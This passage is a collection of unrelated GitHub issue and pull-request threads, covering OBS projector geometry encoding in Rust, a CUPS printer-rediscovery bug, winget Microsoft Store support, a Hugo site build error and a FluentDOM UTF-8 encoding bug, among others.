    header.extend_from_slice( &get_i32(geometry.frame.x2));
    header.extend_from_slice( &get_i32(geometry.frame.y2));

    header.extend_from_slice( &get_i32(geometry.normal.x1));
    header.extend_from_slice( &get_i32(geometry.normal.y1));
    header.extend_from_slice( &get_i32(geometry.normal.x2));
    header.extend_from_slice( &get_i32(geometry.normal.y2));

    header.extend_from_slice( &get_i32(geometry.screen_no));

    header.extend_from_slice( &[geometry.is_maximized, geometry.is_fullscreen]);

    header.extend_from_slice( &get_i32(geometry.screen_width));

    header.extend_from_slice( &get_i32(geometry.client_rect.x1));
    header.extend_from_slice( &get_i32(geometry.client_rect.y1));
    header.extend_from_slice( &get_i32(geometry.client_rect.x2));
    header.extend_from_slice( &get_i32(geometry.client_rect.y2));

    base64::encode(header)
}

Example usage:
                let geom = QtGeom::new(0, 0, 1280, 720);
                let devices = block_on(sock_mem.as_ref().unwrap().general().open_projector(obws::requests::Projector {
                    ty: Some(obws::requests::ProjectorType::Preview),
                    monitor: None,
                    geometry: Some( &rect_to_geometry_str(geom) ),
                    name: None
                }));
               // -> will open a Projector at the top left  corner of display with 1280x720 size

I like this idea very much and it fits perfectly with my vision to gradually make the API more intuitive where obs-wesocket stops.
Didn't have a look at the Qt geometry but it was definitely on my to-do list.
I'll have a look in the next few days and then start implementing the logic for it. Your code same is a really great start and if you don't mind I would like to use it as base for the implementation.

Wow, that was fast! Thank you very much :-)


Cups daemon notifies avahi about printers before it starts responding to clients cups queries on port 631

Hello,
We use a cups server (2.2.8) with an avahi daemon for printer sharing.
We noticed that every time cupsd reloads its configuration (or when we restart it), remote linux clients (cupsd + avahi + cups-browsed) loose one or two printers from the server.
Some tests we made showed (in cups-browsed logs) that this issue concerns printers first rediscovered by the client. In addition, it seems that client tries to connect on server port 631 in order to get the PPD file, but server is not ready to reply yet. Printers never reappear (except if we restart cups-browsed on client side).
Well, it is also possible that there is some mess on the client side (concurrent remove/add of the same printer), isn't it?
My first idea was to put some initial delay before cups server starts sending notifications to avahi in order to be sure it has already started servicing cups on port 631... But it seems to be difficult to realize.
cups-browsed-extract.txt

@kabassanov One possible solution is that instead of restarting cups-browsed everytime you can set BrowseInterval directive in cups-browsed.conf.

@tanmayanand44, do you mean that there is no default value if the entry is commented?
BrowseInterval 60
I thought that there was some kind of mess when an annoncement had arrived, but the client was unable to join remote cups server, and lost the printer until restart. Restarting cups-browsed makes a kind of reset of it internal state. Am I wrong?

@tanmayanand44, "BrowseInterval" is NOT used at all for DNS-SD browsing. It is ONLY used for

Classic CUPS broadcasting (for CUPS 1.5.x and older clients)
LDAP
"BrowsePoll"

@kabassanov Does this issue happens with a particular printer(s) always after cupsd restart on your cups server or any of printer(s) at random.

@tanmayanand44, it happens with the first (one or two) printers client gets from remote server broadcasts after restart.
We made a test blocking mdns annoncements on the server side just before cupsd restart and unblocking them after the end of the restart. And the issue disappeared, because client is not aware of the action. But it is not a real solution, because it doesn't work when server just receives a kill signal from newsyslog for instance...

@kabassanov What version of cups-filters on client did you use? I was able to successfully reproduce this issue with v1.8.3 but after upgrading to v1.20.2 this issue disappears.

@tanmayanand44 I've tried USB live releases of Fedora 28 and 29, so I suppose it was cups-filters-1.20.0-7.fc28.x86_64 and cups-filters-1.20.3-9.fc29.x86_64, but I'm unable to check right now.

Yes, just for confirmation: cups-filters-1.20.3-9.fc29.x86_64 in F29

@tanmayanand44, any further news about this?

@tillkamppeter I switched to latest version of cups-filters for testing and now after multiple restarts on server, it seems that sometimes client is not able to fetch those ppd file but after every 10s it retries and in subsequent tries, the client was actually find all the printers on the server. I am attaching the log which shows the initial failed attempts to find the all 4 printers together but eventually after 2-3 retries it did find all of them
log.txt

@tanmayanand44 , is it a new feature for the client to retry fetching ppd files? Does "lpstat -p" show all your printers after that?

@kabassanov Retry feature existed even in v1.8.3, and using v1.8.3 I was able to reproduce this issue almost every restart and client was stuck at unable to find ppd after each retry. But after switching to the l v1.22.4, it takes some time to find all printer but it does find them all finally.

@tanmayanand44 , are you able to reproduce the failure with cups-filters-1.20.3 (-9.fc29.x86_64) ?

@kabassanov If I remember correctly, this issue existed on v1.20.2(which came with stock ubuntu18.04lts), but it showed up only after several restarts on the server, i.e., worked fine most times. I would request you to update to the latest release and then update us.

@kabassanov, we are now waiting for your answer for one month. Did you actually update and try out whether this solves your problem?
I will close here now. If you still suffer the problem after updating cups-filters please re-open this issue. Thanks.


[Popover] Popover does not lock the scroll on mobile.

Steps to reproduce
Link to live example: https://mui.com/material-ui/api/popover/
The scroll is not properly locked when Popover is opened. The bug can be reproduced on mobile devices in Chrome or Safari.
Steps:
https://github.com/mui/material-ui/assets/95311814/e96182ab-eee3-4384-992a-d1c434ac8c8f

Open the page with Popover on mobile.
Start scrolling.
Press the "Open Popover" button.
Keep scrolling.
Observe that the scroll is not locked.

Current behavior
If you scroll the page on mobile and then click on the Popover button the scroll is not locked.
Expected behavior
The scroll should be locked when Popover is opened on mobile.
Context
No response
Your environment
The bug can be reproduced on the official MUI website. It was tested on iPhone 15 in Safari and Chrome.
Search keywords: Popover scroll lock mobile

Duplicate of #5750


[.NET] Hindi NumbersWithUnits Temperature support

Support for Hindi Temprature.
(Bare-bone for now with disabled cases)
All test cases passing.
Added 13 cases with code-mixing and Devanagari numerals

Work in progress as #1913 needs to be merged first.

@tellarin : sure thing, this can be merged as-is and we activate the test cases and registering the model in a Future PR.


includePaths should normalize path separator

I'm on Windows and tried to configure includePaths to only include ["./src"], but none of the files match.
If I console.log(filename, path.resolve(includePath)) here, I get the following output:
C:/devel/myblog/src/lib/components/Header.svelte C:\devel\myblog\src

Obviously filename.indexOf will fail. Thus either filename should be normalized to use backslashes or the result from path.resolve should be changed to use forward slashes.
PS. maybe consider breaking the forEach, when the first match is found? Also should this if be an else?

Included in v2.1.3


Groupby: Edit on hover should be disabled at the group level

Description
When the grid is in groupby mode without the groups being expanded, if you hover over the top level group, you'll get the edit icon.  Selecting the edit would cause other interesting side effects.
Saw this in my test files but was able to reproduce in custom-columns demo as well.
Version
Data-grid: V1.2.3
Browser: Chrome, IE11 (doesn't happen in FF)
Screenshots

Please retest with 1.2.4 @ppeyro

Verified in 1.2.4, hovering over the top level group no longer triggers the edit icon. Closing.


Drop upstart support, refactor unit tests

Modernize unit tests:

Fix rubocop todo item
Wrap them with on_supported_os.each (that fixed missing networking.ip issue also)
Change formatting in a few places (to reduce line length or to reduce amount of lines)
Drop upstart support (it was removed in Ubuntu 16, which is EOLed while ago)

Better to view changes with whitespace difference disabled FYI.


Fix composable blueprints

The Composable blueprints in ContinuousRegistration/Submissions/ComposableBlueprints are not working. This is due to two issues:

SuperElastix cannot find the included path. We should add logic to SuperElastix that resolves the path the included blueprint. The included path should be the path relative to the blueprint that includes it. SuperElastix should use provide the full path to the included blueprint to the boost loader.
SuperElastix has gained additional components in recent weeks. This means the criteria in the composable blueprints would previously be enough to specify a unique component, but now it is not. We should more criteria to these blueprints. The "NameOfClass" criterion might be enough to solve this issue.

@kaspermarstal

The included path should be the path relative to the blueprint that includes it.

So this one does not need to be supported, right?
"./ContinuousRegistration/Submissions/ComposableBlueprints/Composables/ITKv4_base.json"

In ContinuousRegistration\Submissions\ComposableBlueprints\ITKv4_SyN_ANTsNC.json

The existing approach appears to assume that ContinuousRegistration is a subdirectory of the current working directory. Is that a problem?

Does the merge of pull request #350 solve this issue, or is it still necessary to implement "the second bullet" of this issue?

Yes, that is still necessary. Two composable blueprints at the leaderboard still have N/A results :(

@kaspermarstal

Two composable blueprints at the leaderboard still have N/A results

So these two json files still need to be adjusted, right?

https://github.com/SuperElastix/SuperElastix/blob/develop/ContinuousRegistration/Submissions/ComposableBlueprints/AffineTransform.json
https://github.com/SuperElastix/SuperElastix/blob/develop/ContinuousRegistration/Submissions/ComposableBlueprints/BSplineTransformPOPI.json

Where can I find the error messages on the server? Or do you know how to fix them already?

I have a case where the relative paths are not working correctly (i.e. in the bash scripts generated by CRC to run locally); the call looks like this:
> [relative_path_a]/SuperElastix --conf [relative_path_b]/blueprint_with_relative_includes.json [...]
It is working if I cd to [relative_path_a] and correct [relative_path_b] accordingly.
Originally posted by @FBerendsen in https://github.com/SuperElastix/SuperElastix/pull/350#issuecomment-472842369

Correction:
It is working if I cd to [relative_path_b] and correct [relative_path_a] accordingly.

@FBerendsen With https://github.com/SuperElastix/SuperElastix/commit/7508a1f00b279c8c575169a70a757cd996227358 the paths of the included json files are either absolute, or relative to the path of the including json file. The current working directory (cd) should not matter, when finding the included json files.  Are you sure it does?


pd-client: use sync pool for tso request

In tso bench, we found that the request done chan allocation costs much time, it is better to use a pool to reduce the GC pressure.
@coocood @disksing @nolouch

LGTM


Install Microsoft Store Apps

From MVP Summit feedback:
Will there be a way to automate installation of Store apps? I have a script I run to install my programs after Windows reinstall with Chocolatey, but I have to install Microsoft Store apps manually afterwards, which is a bit annoying.

How should it work with MS Store Policies?
10.1.5
Your app may promote or distribute software only through the Microsoft Store.
https://docs.microsoft.com/en-us/windows/uwp/publish/store-policies#101-distinct-function--value-accurate-representation
By the way, I would love to see store apps in winget too.

How should it work with MS Store Policies?
10.1.5
Your app may promote or distribute software only through the Microsoft Store.
https://docs.microsoft.com/en-us/windows/uwp/publish/store-policies#101-distinct-function--value-accurate-representation
By the way, I would love to see store apps in winget too.

I think you're misunderstanding what it means. It means that lets say a DLC for a game would be purchasable/downloadable through Windows store instead of leading you to third party service.

@maxkatz6 I don't think it's an issue since Microsoft can make exceptions for it's own software, for example if you try to get Microsoft Office through the store it will redirect you to download the installer from the Microsoft website.

@maxkatz6 I don't think it's an issue since Microsoft can make exceptions for it's own software, for example if you try to get Microsoft Office through the store it will redirect you to download the installer from the Microsoft website.

I hate when that happens (if I used the store I expecto the store download the app and updates it when neccesary)

I feel like it should have already been an option to install an app from microsoft store via cli. Since that would be just sending install arguments to the executable.
But im guessing there isn't and that's why we now have wget.
Cant seem to get anything out of WinStore.App.exe executable either (missing dll errors).

The Microsoft Store never really had that option.  There are some ways to sideload apps from a command line.  If the Store had that command line option and it embraced other application types (like command line apps and Win32 apps), we probably wouldn't have needed this project.

I seem to remember that the Microsoft Store does have a way to install apps through a cli, it just isn't available for use outside of Microsoft.

To install apps from the Microsoft Store, I need to sign in to the store with my Microsoft account.
All the applications I have installed are recorded in my Microsoft account.
If winget supports installing apps from the Microsoft Store, do I need to sign in to my Microsoft account through the winget cli?
There are also paid applications in the Microsoft Store.
Can I purchase a paid application through the winget cli?
(Maybe this shouldn't be possible. I think, I should only be able to install the apps I've purchased).

One of the greatest complaints for Windows Store is that it cannot be easily managed by domain owners, and it could be solved by proceeding this issue. By the way I believe Window Store is the "ultimate solution" where every programs/apps should be, and winget only needs to be a command line version of it - like the Ubuntu Snap Store.

When i think about it, there are games in Windows Store, would it be really optimal for example to download Halo MCC via winget.

One of the greatest complaints for Windows Store is that it cannot be easily managed by domain owners, and it could be solved by proceeding this issue. By the way I believe Window Store is the "ultimate solution" where every programs/apps should be, and winget only needs to be a command line version of it - like the Ubuntu Snap Store.

Really disagree with the second half of this. Every attempt Microsoft has made with Windows to limit software installations to just the Microsoft Store has been negatively received. Windows is simply not a walled garden ecosystem. I think the Store is a cool idea, but it's clear that many developers have no intention of moving their apps in there.
That being said, I think it's important that winget can mange Store applications so that it can be a one stop shop (or as close to that as possible) for managing software. That also helps with the domain owners management issue, as you could potentially just disable the Store all together in the Group Policy and run everything through winget.

There are also paid applications in the Microsoft Store.
Can I purchase a paid application through the winget cli?
(Maybe this shouldn't be possible. I think, I should only be able to install the apps I've purchased).

This is an interesting challenge. One approach (at least at first) would be to require users to make the purchase through the Microsoft Store, then sign in to winget to be able to download the app. I do really hope MS doesn't require sign in to use winget for free stuff on the web, but I'd understand the need to do so for paid Store apps.

From MVP Summit feedback:
Will there be a way to automate installation of Store apps? I have a script I run to install my programs after Windows reinstall with Chocolatey, but I have to install Microsoft Store apps manually afterwards, which is a bit annoying.

And how do you handle some apps installing for the current user only and other apps installing for all users. At the moment, this is a total mess on Windows. Application installation is inconsistent and there seems to be this misguided assumption that a host machine only has one account. In this scenario, then signing in with Microsoft account and install from the store seems ok. But when you have multiple accounts on the same system, which all need access to the same apps, this model simply does not work.

It looks like "The Nightingale REST API Client" will meet initial requirements for a store App inclusion in terms of "Free" and "Rated E for Everyone". https://github.com/jenius-apps/nightingale-rest-api-client/issues/69

@denelon thanks for that update. Quick question: Nightingale has IAPs. Will this winget installation process break a customer's ability to access/purchase those IAPs?

@dpaulino I don't believe it will, but let me confirm with a test.

Anyone interest in my script that will automatically download the Appx files for every program that you have currently installed and also download all the dependencies straight from the Microsoft store? You can easy write a quick script to reinstall on a new machine.

first beta, searches Microsoft store for apps.

First beta, Search Microsoft store for apps.

Searching the MS Store from Powershell.
https://dev.to/ledgeruser2/search-microsoft-store-from-powershell-2bjj

My PowerShell script to download AppX files from the Microsoft Store for currently installed packages.
https://github.com/Floccinaucinihilipilification11/PowerShell-Microsoft-Store-AppX-Download

I feel like being able to get paid apps would be important for this implementation. There are a lot of apps on the store that are pay-gated (i.e. paint.net, krita, etc.) for the purpose of providing streamlined updates from the store. Even some windows components on the store and microsoft products (i.e. HEVC extension pack, paid microsoft-provided wallpapers, and minecraft [java version cannot be distributed via winget]) would not be installable without support.

@denelon Demitrius Nelon FTE thanks for that update. Quick question: Nightingale has IAPs. Will this winget installation process break a customer's ability to access/purchase those IAPs?

@dpaulino winget search nightingale will display the Microsoft Store version of Nightingale (if you have the experimental feature enabled).
winget install "Nightingale REST Client" will install it by name
winget install 43891JeniusApps.NightingaleRESTAPIClient will install it by ID

This is life changer! I've just reinstalled Windows 10 yesterday and installing all apps I need from the MS Store was such a pain, the possibility to create a script to install my (already purchased) apps from the store using winget would be awesome.
Please allow all apps in the Store to be installed with winget, at least those which are already purchased by the logged user

Same. I hope we can install ANY app in the store with WinGet. At present manual search-and-install of a list of apps is such a pain.

Yeah that sounds great.
Get Outlook for iOShttps://aka.ms/o0ukef

From: 魏杰<EMAIL_ADDRESS>Sent: Tuesday, September 15, 2020 3:28:33 PM
To: microsoft/winget-cli<EMAIL_ADDRESS>Cc: Plastikfan<EMAIL_ADDRESS>Comment<EMAIL_ADDRESS>Subject: Re: [microsoft/winget-cli] Install Microsoft Store Apps (#117)
Same. I hope we can install ANY app in the store with WinGet. At present manual search-and-install of a list of apps is such a pain.
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHubhttps://github.com/microsoft/winget-cli/issues/117#issuecomment-692752335, or unsubscribehttps://github.com/notifications/unsubscribe-auth/AL32YOXFY4PG774A7NAC2SDSF52ZDANCNFSM4M6HYJUA.

I read this whole thing and i still have ZERO clue as to what is the state of the issue and where it is all heading. Like, can I install something like this:
https://www.microsoft.com/en-us/p/ori-and-the-will-of-the-wisps/9n8cd0xzklp4
If not - why? And are there any plans? Will it be ever possible?

I read this whole thing and i still have ZERO clue as to what is the state of the issue and where it is all heading. Like, can I install something like this:
https://www.microsoft.com/en-us/p/ori-and-the-will-of-the-wisps/9n8cd0xzklp4
If not - why? And are there any plans? Will it be ever possible?

Current state is, due to lack of complete Store api and other legal concerns, an experimental store feature is released with support of a list of curated "free" and "rated e" apps. The feature is disabled by default but it can be turned on through 'winget settings'.
We are continuing to work with Store team towards the full Store integration for winget.

Current state is, due to lack of complete Store api and other legal concerns, an experimental store feature is released with support of a list of curated "free" and "rated e" apps. The feature is disabled by default but it can be turned on through 'winget settings'.
We are continuing to work with Store team towards the full Store integration for winget.

Okay, so in theory nothing strictly "MS-bureaucratical" really limits the ability to implement something like user auth by login/pass access to owned apps, it just matter of time? It is wonderful news if this is really true, so we could have something similar as as handy and useful as https://github.com/derrod/legendary but for WinStore.

Okay, so in theory nothing strictly "MS-bureaucratical" really limits the ability to implement something like user auth by login/pass access to owned apps, it just matter of time? It is wonderful news if this is really true, so we could have something similar as as handy and useful as https://github.com/derrod/legendary but for WinStore.

To install apps from the Microsoft Store, I need to sign in to the store with my Microsoft account.
All the applications I have installed are recorded in my Microsoft account.
If winget supports installing apps from the Microsoft Store, do I need to sign in to my Microsoft account through the winget cli?
There are also paid applications in the Microsoft Store.
Can I purchase a paid application through the winget cli?
(Maybe this shouldn't be possible. I think, I should only be able to install the apps I've purchased).

You don't need to sign in with a Microsoft account to install free apps. Yes they make it seem like you have to do it but you can just click the close button on top and it does download and install just fine

To install apps from the Microsoft Store, I need to sign in to the store with my Microsoft account.
All the applications I have installed are recorded in my Microsoft account.
If winget supports installing apps from the Microsoft Store, do I need to sign in to my Microsoft account through the winget cli?
There are also paid applications in the Microsoft Store.
Can I purchase a paid application through the winget cli?
(Maybe this shouldn't be possible. I think, I should only be able to install the apps I've purchased).

You don't need to sign in with a Microsoft account to install free apps. Yes they make it seem like you have to do it but you can just click the close button on top and it does download and install just fine

What about duplicated IDs like Microsoft.WindowsTerminal? Will the IDs be changed e.g. different format for different sources, or the source will be explicitly defined?
If latter, a default source could be set and any Microsoft Store app could be virtually installed.

The source is explicitly defined in the export file. The real challenge is dealing with packages that are in multiple sources when the export is generated. There will be an option to specify a source for export. In that event if a package is in multiple sources, it's likely you would see it in the export for each source if you performed them individually. The tie breaker logic will likely follow the first source added and then down the line.

Current state is, due to lack of complete Store api and other legal concerns, an experimental store feature is released with support of a list of curated "free" and "rated e" apps. The feature is disabled by default but it can be turned on through 'winget settings'.
We are continuing to work with Store team towards the full Store integration for winget.

Current state is, due to lack of complete Store api and other legal concerns, an experimental store feature is released with support of a list of curated "free" and "rated e" apps. The feature is disabled by default but it can be turned on through 'winget settings'.
We are continuing to work with Store team towards the full Store integration for winget.

@yao-msft @denelon is there a way to script this "experimental feature" so that a powershell script that installs apps can also include apps that are free like windows terminal?

@angry-bender I'm sure it's possible, but it would likely be complex. You would need to find and modify the settings.json file to enable the experimental store feature. Then you could either call the "install" command or the "import" command.
You will likely see some additional changes in our manifest schema and REST API as we work towards a better implementation for the Windows Package Manager to be able to install more of the Apps in the store.

Full support of Windows Store including integration with Windows Store Service (or custom implementation) to support licensing and verification of paid apps as an OPTIONAL supported feature should be on future roadmap, really.

@kein we are working with the Microsoft Store team. This is one of the areas of discussion. I'd absolutely LOVE to be able to use the Windows Package Manager to install applications that I've paid for. I'll add a feature for that specific use case.

https://github.com/microsoft/winget-cli/issues/908

@denelon
Is possible to let people send a "Wish List" about msstore?

If you are asking about where it's located, it's a "private" source of ~300 curated developer related packages that are rated "E" for everyone, and are also free.

What do you think about adding Finebits apps to this list?

We're working on building a more comprehensive store source. The current one is experimental so we can iterate. We're not investing in the current source so we can focus on the new one. Adding anything to the current experimental source is a manual process.

@denelon could you maybe add https://www.microsoft.com/store/apps/9NJNWW8PVKMN to the list of curated experimental store sources?
One question about that: what happens if a user then enables the experimental store feature and types winget install julia? There is also a listing for Julia at https://github.com/microsoft/winget-pkgs/tree/master/manifests/j/Julialang/Julia, and then it is not clear to me what the UE would be? I think eventually, once the store source is on by default, we would want the store source to be the only one for Julia, but until then I think it would make sense to keep the legacy installer that is configured in winget-pkgs around.

@davidanthoff we've experimented with a few different scenarios, and the results were inconclusive. We ended up returning to the state where two or more identical "PackageIdentifiers" across sources requires the user to disambiguate with -s <source>. We will likely add settings so users can have a preference for the default source in these cases. At one point we defaulted to the "first" source added, but we quickly realized changing the order of the sources was a bit heavy-handed. especially if you wanted to control the behavior.

@denelon Just a quick follow up: is there a chance that you could add Julia (https://www.microsoft.com/en-us/p/julia/9njnww8pvkmn) to the (hard coded?) list of store apps that winget makes available from the store when the experimental store feature is turned on? I think the package would make a good candidate for that. Thanks :)

@davidanthoff we're working with the store team on a completely new source based on the REST API. I think we're close to pushing another version of the client out soon [tm]. I don't know if this is in the list yet as we're still working on the search APIs.

Sounds good! I've also thought a bit more about multiple sources for the same thing. Here is where I think things would ideally come down for something like Julia:

If a user is on a system with Windows Store support and types in winget install julia, we would want them to get the store version automatically, without them having to decide between different sources.
If a user is say on Windows Server, though, we would want winget install julia to still work, and in that case it would presumably ideally install the "old style" installer that we have currently registered in the winget registry.

If our Windows Store installer supported all Windows platforms, we'd be happy to have that the only option to show up for winget users, but given that things like Windows Server are out, we kind of need both vehicles. But we would like to have an option to mark either one as the "default" for a given platform, and then not have users confronted with a choice.
Does that make sense?

How would this work for Windows 10/11 LTSC which by default has no storefront "app" but can technically install any store apps? I think an ability to explicitly specify flag as to what you want to install of course should be present to avoid any auto-detection issues.

@davidanthoff, yes that makes perfect sense. We've been discussing deduplication across sources. Even on a system without the Microsoft Store UX, users would still be able to leverage the Microsoft Store "source" for the Windows Package Manager.

Note: it's currently an experimental feature for the Windows Package Manager. Run winget features to see if it's enabled.

One of the approaches discussed is a setting to determine which source is a preference/requirement for a package when duplicates exist. Users would still be able to override via command line winget install Julia -s <source>.

Even on a system without the Microsoft Store UX, users would still be able to leverage the Microsoft Store "source" for the Windows Package Manager.

Oh, that would be wonderful!! If it means what I think it means :) Does that mean that even on say a Windows Server 2019 system, or a managed system where an admin blocked the store UI, a user would be able to write winget install julia and just get the MSIX we have published in the store? That would be fantastic!
The MSIX we have for Julia has the unvirtualizedResources capability. We got permission to use that for the Windows Store, but we are now in a situation where our MSIX only works when installed from the Windows Store, because neither app installer nor just double clicking on an MSIX works if that capability is used. So if winget would be a way to use our existing MSIX, with the unvirtualizedResources capability on Windows Server 2019 and other currently non-supported platform, it would mean that we could actually just have one installer solution (the MSIX via the store), which would be great. At the moment we were planning to have two completely separate setup solutions, one for Windows platforms where the Windows Store works, and another one for other platforms. That would obviously be very far from ideal...
Would store sourced MSIX setups auto-update, even if the Store UX is not available?

This feature was released in https://github.com/microsoft/winget-cli/releases/tag/v1.1.12653

Is there some documentation somewhere that explains how this works in the build you just linked to? Also, fantastic news :)

We have some notes on Microsoft Docs. I'm drafting a blog that should go out in the next day or two as well.

If anyone else is looking for it: Store support can be disabled as admin using
winget source remove msstore
This reduces ambiquity for apps/search patterns that are available via msstore and winget.
It is great that sources can be managed as simple as that.

Note: GPO (Group Policy Objects) can specify sources in enterprise scenarios and users wouldn't be able to modify these settings. You can see if GPOs are configured via winget --info.
To get back to the "default" state with the msstore available, users can run winget source reset --force in administrator mode.
Search and install can also be restricted by adding "--source " or "-s ".
Examples:
winget search PowerToys -s winget
winget search PowerToys -s msstore
You can see the difference against winget search PowerToys

That is a useful tidbit albeit not related to the issue at hand. I though we've finally got on update on this.


Fix latest tag link

Fixes #1654

Tests
Repo with non-standard tags: https://github.com/PointCloudLibrary/pcl
Repo with standard tags: https://github.com/sindresorhus/negative-zero (shouldn't trigger an API call)
Repo without tags: https://github.com/sindresorhus/refined-github (shouldn't trigger an API call)

Can also be tested on https://github.com/SBoudrias/Inquirer.js, where it now shows the tag.


Revamp and modernize docs completely for 1.4.0

For basics + features, it's now merged into one (features) and the goal of this is to reduce redundancy across examples (e.g. async stream chat) and instead write straightforward recipes that users can copy/paste and slightly modify; also now includes highlights.
Still kind of debating on the section names. Features and Applications sound generic; maybe Concepts + Recipes is better?
https://github.com/holoviz-topics/panel-chat-examples/assets/15331990/d783ab04-caee-4959-9430-563a7b9a78ba
Closes https://github.com/holoviz-topics/panel-chat-examples/issues/131
For components, I don't think panel-chat-examples is the proper place to put them; instead I think those should be migrated into the official Panel repo since panel-chat-examples does not allow users to pip install.
For all the others, I am planning to curate them under applications and separate requirements since most users will only want to try OpenAI/Mistral/LangChain/LlamaIndex separately.
Still very much a WIP, but feedback appreciated.
TODO:

[x] Migrate CTransformers code to llama-cpp-python
[ ] Curate application
[x] add pyodide for features
[ ] separate requirements

I think I'm going to go with core & recipes

I think I'm going to go with core & recipes

Sounds good. Alternative you could use Tutorials and How-to guide terminology of Diataxis.

Okay, I finally got around to updating this. I de-duplicated some recipes, but I couldn't get talk to github working https://github.com/run-llama/llama_index/issues/12019


Failed to build the website project

Hi team,
The openelb website is hosted on GitHub Pages and we used to update the website using the deploy.sh script. Now it is failed to update it using this script and it has the following error, you can also reproduce it using hugo -f docsy in your local:
Deploying updates to GitHub...
Start building sites …
hugo v0.100.2-d25cb2943fd94ecf781412aeff9682d5dc62e284+extended windows/amd64 BuildDate=2022-06-08T10:25:57Z VendorInfo=gohugoio
WARN 2022/06/13 18:03:14 The google_news internal template will be removed in a future release. Please remove calls to this template. See https://github.com/gohugoio/hugo/issues/9172 for additional information.
WARN 2022/06/13 18:03:14 .Path when the page is backed by a file is deprecated and will be removed in a future release. We plan to use Path for a canonical source path and you probably want to check the source is a file. To get the current behaviour, you can use a construct similar to the one below:

  {{ $path := "" }}
  {{ with .File }}
        {{ $path = .Path }}
  {{ else }}
        {{ $path = .Path }}
  {{ end }}

Re-run Hugo with the flag --panicOnWarning to get a better error message.
WARN 2022/06/13 18:03:14 The google_news internal template will be removed in a future release. Please remove calls to this template. See https://github.com/gohugoio/hugo/issues/9172 for additional information.
Error: Error building site: POSTCSS: failed to transform "scss/main.css" (text/css). Check your PostCSS installation; install with "npm install postcss-cli". See https://gohugo.io/hugo-pipes/postcss/: this feature is not available in your current Hugo version, see https://goo.gl/YMrWcn for more information
Total in 1024 ms

BTW, this method is not recommended for future maintenance. As we have leveraged Vercel for web hosting and PR preview, for the next step, we can use Vercel to automate this process and host the website on openelb.io.

/cc @renyunkang @Patrick-LuoYu @weili520


Command feature refactor complete -Willi

Codecov Report

Merging #7 into development will not change coverage.
The diff coverage is n/a.

@@             Coverage Diff              @@
##           development       #7   +/-   ##
============================================
  Coverage        54.28%   54.28%
============================================
  Files                1        1
  Lines               35       35
============================================
  Hits                19       19
  Misses              16       16

Impacted Files
Coverage Δ

app/config/config.go
54.28% <ø> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 2bcde1c...838b2cb. Read the comment docs.


Change animation direction, pause animations, move animation to a key frame, change animation easing functions

Would be happy to work/collaborate on this if it isn't already in the works!

What would some of these APIs look like to you, ideally?

I am also interested in working on this. I have some ideas in mind of how to implement these features

What would some of these APIs look like to you, ideally?

one approach would be to add an 'animationSettings' object to the Stopwatch interface. Then users can configure properties such as reversed, repeats, ease function, etc...
As an example a user would configure a reversed and repeated animation like so:
`function AnimatedPoint() {
const { time, start, animationSettings } = useStopwatch();
React.useEffect(() => {
animationSettings.reversed = true;
animationSettings.repeats = true;
start();
}, [start]);
}
`


Not encoding UTF-8 correctly

I am a Chinese developer and making Chinese website.
Code to reproduce:
$html = <<<EOF
<!DOCTYPE html>
<meta charset="UTF-8">
<title>网友终于肉搜出「范冰冰」家族照片，没想到看见她奶奶才发现「范冰冰是全家最难看的」！</title>

网友终于肉搜出「范冰冰」家族照片，没想到看见她奶奶才发现「范冰冰是全家最难看的」！

EOF;
$dom = FluentDOM::QueryCss($html, 'text/html');
echo $dom;

Result:
<!DOCTYPE html>
<meta charset="UTF-8"><title>网友终于肉搜出「范冰冰」家族照片，没想到看见她奶奶才发现「范冰冰是全家最难看的」！</title>
网友终于肉搜出「范冰冰」家族照片，没想到看见她奶奶才发现「范冰冰是全家最难看的」！

Expected Result:
<!DOCTYPE html>
<meta charset="UTF-8">
<title>网友终于肉搜出「范冰冰」家族照片，没想到看见她奶奶才发现「范冰冰是全家最难看的」！</title>

网友终于肉搜出「范冰冰」家族照片，没想到看见她奶奶才发现「范冰冰是全家最难看的」！

It is a known bug of PHP DomDocument. Here is the reference:
http://stackoverflow.com/questions/8218230/php-domdocument-loadhtml-not-encoding-utf-8-correctly
We should get the UTF-8 result instead of getting HTML-ENTITIES result. It doesn't make sense to get the final html with full of encoded utf-8 and making the size much larger.

Right, I will check and try to fix this.

Not only encoded utf-8 is returned.
Reproduce:
$html = '

Paragraph 1

Paragraph 2

网友终于肉搜出「范冰冰」家族照片，没想到看见她奶奶才发现「范冰冰是全家最难看的」！

';
$doc = FluentDOM($html, 'html-fragment');
// $elements = $doc->find('p')->eq(1);
// foreach($elements as $element) {
	// $newElement = FluentDOM("hi", 'html-fragment');
	// $newElement->attr('title', 'test');
	// $element->replace($newElement);
// }
echo $doc->html();

Expected:

Paragraph 1

Paragraph 2

网友终于肉搜出「范冰冰」家族照片，没想到看见她奶奶才发现「范冰冰是全家最难看的」！

Actual:

Paragraph 1

Paragraph 2

ç½�å��ç»�äº�è��æ��å�ºã��è��å�°å�°ã��å®¶æ��ç�§ç��ï¼�æ²¡æ�³å�°ç��è§�å¥¹å¥¶å¥¶æ��å��ç�°ã��è��å�°å�°æ�¯å�¨å®¶æ��é�¾ç��ç��ã��ï¼�

But it is fine using html('some strings'):
Code:
$doc = FluentDOM('

', 'html-fragment');
$doc->text('网友终于肉搜出「范冰冰」家族照片，没想到看见她奶奶才发现「范冰冰是全家最难看的」！');
echo $doc->text();

Result:
网友终于肉搜出「范冰冰」家族照片，没想到看见她奶奶才发现「范冰冰是全家最难看的」！

Give me one or two weekends please :-)
I will try to add the issues as unit tests to make them reproducible.

I just pushed https://github.com/FluentDOM/FluentDOM/commit/370e98f642506646e9c6eeaa20477fc9803ea309
This is not the final fix, but it should improve the behavior.

I want to try your new push, but I cannot use the fluentdom and selectors-phpcss in the same project.
It seems selectors-phpcss specify a version to make my composer not to install the new push of fluentdom. Do you have any idea to update to the latest push using composer?
"require": {
		"fluentdom/fluentdom": "dev-master#e2a47d5",
		"fluentdom/selectors-phpcss": "^1.0"
    }

when composer update:
Loading composer repositories with package information
Updating dependencies (including require-dev)
Your requirements could not be resolved to an installable set of packages.

  Problem 1
    - Conclusion: remove fluentdom/fluentdom dev-master
    - fluentdom/selectors-phpcss 1.0.0 requires fluentdom/fluentdom ^5.3 -> satisfiable by fluentdom/fluentdom[5.3.x-dev].
